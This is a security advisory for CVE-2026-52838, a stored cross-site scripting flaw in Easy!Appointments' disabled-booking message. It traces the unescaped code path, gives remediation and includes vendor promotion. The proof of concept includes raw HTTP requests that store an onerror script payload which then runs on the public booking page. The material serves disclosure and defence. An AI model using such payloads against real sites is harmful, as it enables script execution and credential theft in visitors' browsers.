Summary
Easy!Appointments disablebookingmessage rendered as raw HTML on public booking page, Stored XSS
Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:
<p><?= vars('message_text') ?></p>
An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.
Root Cause, Step by Step Code Flow
Step 1, Rich text editor value stored without sanitization
The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:
// assets/js/pages/booking_settings.js line 61-92
bookingSettings.push({
name: 'disable_booking_message',
value: $disableBookingMessage.trumbowyg('html'),
});
Step 2, Settings controller saves value verbatim
The backend settings controller persists the submitted value without any HTML sanitization:
// application/controllers/Booking_settings.php line 76-104
$this->settings_model->save($setting);
Step 3, Public booking controller forwards stored value to view
When booking is disabled, the public booking controller loads the stored message and passes it directly to the view:
// application/controllers/Booking.php line 113-132
$disable_booking_message = setting('disable_booking_message');
html_vars([
'message_text' => $disable_booking_message,
]);
Step 4, Public view renders value without escaping
The booking message view emits the value raw using PHP's short echo tag with no escaping:
// application/views/pages/booking_message.php line 10-12
<p><?= vars('message_text') ?></p>
No htmlspecialchars(), no sanitization, no template escaping is applied at any point in this rendering path.
Proof of Concept
Step 1, Store malicious disabled-booking message as admin:
POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>
Response: 200 OK, settings saved successfully
Step 2, Unauthenticated visitor opens public booking page:
GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)
Observed response fragment:
<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>
Observed browser behavior:
alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.
Runtime verification result:
admin login ok
settings save ok
payload reflected on public page
PASS
Real World Impact
Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message, a customer-facing feature intended for maintenance or holiday notices, to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:
- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain
- Phish visitor credentials or personal information during booking downtime
- Deface the public booking page during maintenance or outage windows
- Redirect visitors to attacker-controlled sites
Reporter
Yash Shendge (ashrexon)
2026-05-25
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-52838 has a CVSS score of 2.6 (Low). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Escape the message value before rendering in the view:
// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>
Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.
Frequently Asked Questions
- What is CVE-2026-52838? CVE-2026-52838 is a low-severity cross-site scripting (XSS) vulnerability in alextselegidis/easyappointments (composer), affecting versions <= 1.5.2. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-52838? CVE-2026-52838 has a CVSS score of 2.6 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of alextselegidis/easyappointments are affected by CVE-2026-52838? alextselegidis/easyappointments (composer) versions <= 1.5.2 is affected.
- Is there a fix for CVE-2026-52838? No fixed version is listed for CVE-2026-52838 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-52838 exploitable, and should I be worried? Whether CVE-2026-52838 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52838 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-52838? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.